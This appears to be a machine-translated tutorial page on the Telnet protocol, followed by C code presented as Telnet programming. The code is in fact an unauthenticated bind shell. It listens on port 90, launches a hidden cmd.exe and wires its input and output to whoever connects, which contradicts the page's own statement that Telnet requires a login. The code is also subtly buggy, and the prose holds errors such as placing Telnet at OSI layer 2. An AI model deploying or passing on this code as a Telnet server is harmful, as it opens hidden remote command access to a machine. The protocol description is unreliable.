Windows core programming code analysis based on Visual C ++ (30) Telnet protocol programming

Source: Internet
Author: User
Tags printable characters telnet program

The telnet protocol is a member of the TCP/IP protocol family and is the standard protocol and main method of the Internet remote login service. It provides users with the ability to complete remote host work on local computers. Use the telnet program on the terminal user's computer to connect to the server. End users can enter commands in the telnet program. These commands will run on the server, just as they are directly entered on the server console. You can control the server locally. To start a telnet session, you must enter the user name and password to log on to the server. Telnet is a common method to remotely control web servers.
Telnet protocol? What features does it have?
1. Basic Content
Telnet is a protocol on the application layer, Layer 2 of the OSI model. It is a TCP/IP protocol that is simulated by creating a virtual terminal and connecting to a remote host terminal. This protocol requires authentication by user name and password. It is the standard protocol for the Internet remote login service. The telnet protocol can be used to convert the computer used by the local user into a terminal of the remote host system. It provides three basic services:

1) Telnet defines a network virtual terminal to provide a standard interface for the remote system. Client programs do not have to have a detailed understanding of the remote system. They only need to construct programs that use standard interfaces;

2) Telnet includes a mechanism that allows the client and server to negotiate options, and it also provides a set of standard options ;.

3) Telnet performs symmetric processing on the two ends of the connection. That is, Telnet does not force the client to input data from the keyboard or display the output on the screen.
2. Heterogeneous adaptation
To make Telnet interaction between multiple operating systems possible, you must have a detailed understanding of heterogeneous computers and operating systems. For example, in some operating systems, each line of text needs to end with an ASCII carriage return controller (CR), and in other systems, an ASCII Line Break (LF) is required ), there are also some systems that need to use a two-character sequence carriage return-line feed (CR-LF); for example, most operating systems provide users with a shortcut to interrupt the program, however, this shortcut key may vary across systems (some systems use Ctrl + C, while others use escape ). If the heterogeneity between systems is not considered, the characters or commands sent locally may be inaccurate or error after being transferred to a remote location and interpreted by the remote system. Therefore, the Telnet protocol must solve this problem. To adapt to heterogeneous environments, the Telnet protocol defines the transmission mode of data and commands over the Internet. This definition is called the network virtual terminal nvt (net virtual terminal ). Its application process is as follows: for the sent data, the client software converts the buttons and command sequences from the user terminal to the nvt format and sends them to the server. The server software sends the received data and commands, convert the format from nvt to the format required by the remote system. For the returned data, the remote server converts the data format from the remote machine to the nvt format, the local client then converts the received nvt format data to the local format. If you are interested in the detailed definition of the nvt format, you can find the relevant information.
3. Send remote commands
We know that most operating systems provide various shortcut keys to implement corresponding control commands. When you type these shortcut keys on a local terminal, the local system will execute the corresponding control commands, instead of using these shortcut keys as input. So for telnet, how does it implement remote transmission of control commands? Telnet also uses nvt to define how control functions are transmitted from the client to the server. We know that the usascii character set includes 95 printable characters and 33 control codes. When you type a common character locally, nvt transmits it according to its original meaning. When you type a shortcut key (key combination, nvt transfers it to a special ASCII character over the network and converts it to the corresponding control command after it reaches the remote machine. The reason for distinguishing the normal ASCII character set from the control command:

1) this distinction means that Telnet has greater flexibility: It can transmit all possible ASCII characters and all control functions between the client and the server;

2) This distinction allows the client to have no ambiguity-specific signaling, without confusion between the control function and common characters. .
4. Data Flow
As mentioned above, designing Telnet as an application-level software has one disadvantage: low efficiency. Why? The following shows the data flow in telnet: The data is typed by the user from the local keyboard and uploaded to the client through the operating system. The client program processes the data and returns it to the operating system, the operating system transmits the received data to a remote machine over the network, and the remote operating system transmits the received data to the server program. After the server program processes the data again, it returns the Pseudo Terminal entry point on the operating system, finally, the remote operating system transmits data to the user's running application. This is a complete input process, and the output will be transmitted from the server to the client in the same path. Because the computer switches the process environment several times for each input and output, this overhead is very expensive. Fortunately, the user's input speed is not high. We can still accept this disadvantage. .
5. Force Command
We should consider this situation: assume that the local user runs an endless loop of error commands or programs on the remote machine, and the command or program has stopped reading input, therefore, the buffer of the operating system may be full. In this case, the remote server cannot write data to the Pseudo Terminal and eventually stops reading data from the TCP connection, the buffer of the TCP connection will eventually be full, thus blocking the flow of data streams into the connection. If this happens, the local user will lose control of the remote machine. To solve this problem, the Telnet protocol must use the out-of-band signaling to force the server to read a control command. We know that TCP uses an emergency data mechanism to implement out-of-band data signaling, so Telnet only needs to append a retained eight-bit group called date mark, then, the server can be notified by sending a packet segment with an emergency data bit over TCP. The packet segment carrying the emergency data will bypass the traffic control and directly reach the server. As a response to emergency signaling, the server reads and discards all data until a data mark is found. After the server encounters a data mark, it returns a normal processing process.
6. Option Negotiation
Due to the heterogeneity of the machines and operating systems at the two ends of Telnet, it is impossible for telnet to strictly specify the detailed configuration of each Telnet connection. Otherwise, the adaptability and heterogeneity of Telnet will be greatly affected. Therefore, Telnet adopts the option negotiation mechanism to solve this problem. The range of Telnet options is wide: some options extend the general functions, while some options involve some minor details. For example, there is an option to control whether Telnet works in half-duplex or full-duplex mode (in the big direction); there is also an option to allow servers on remote machines to determine the user terminal type (small details ).

The following code implements Telnet protocol programming.

 

#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;u_char varA,varB;DWORD WINAPI ThreadFuncA( LPVOID lpParam ){SECURITY_ATTRIBUTES pipeattr;DWORD nByteToWrite, nByteWritten;char recv_buff[1024];pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);pipeattr.lpSecurityDescriptor = NULL;pipeattr.bInheritHandle = TRUE;CreatePipe(&hReadPipe,&hWriteFile,&pipeattr,0);varA = 1;while(true){Sleep(250);nByteToWrite = recv(ClientSocket,recv_buff,1024,0);WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);}return 0;}DWORD WINAPI ThreadFuncB( LPVOID lpParam ){SECURITY_ATTRIBUTES pipeattr;DWORD len;char send_buff[25000];pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);pipeattr.lpSecurityDescriptor = NULL;pipeattr.bInheritHandle = TRUE;CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);varB = 1;while (true){ReadFile(hReadFile,send_buff,25000,&len,NULL);send(ClientSocket,send_buff,len,0);}return 0;}void Enter(void){WSADATA WSAData;struct sockaddr_in RemoteAddr;DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;OSVERSIONINFO osvi;PROCESS_INFORMATION processinfo;STARTUPINFO startinfo;WSAStartup(MAKEWORD(2,2),&WSAData);ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);RemoteAddr.sin_family = AF_INET;RemoteAddr.sin_port = htons(PORT);RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));listen(ServerSocket, 5);varA = 0;varB = 0;CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);do{        Sleep(250);}while((varA || varB) == 0);GetStartupInfo(&startinfo);startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;startinfo.hStdInput = hReadPipe;startinfo.hStdError = hWritePipe;startinfo.hStdOutput = hWritePipe;startinfo.wShowWindow = SW_HIDE;osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&osvi);char szAPP[256];GetSystemDirectory(szAPP,MAX_PATH+1);if(osvi.dwPlatformId == 2){strcat(szAPP,"\\cmd.exe");if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,&processinfo) == 0){return;}}else{strcat(szAPP,"\\command.exe");CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);}while (true){        ClientSocket = accept(ServerSocket, NULL, NULL);Sleep(250);}}

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.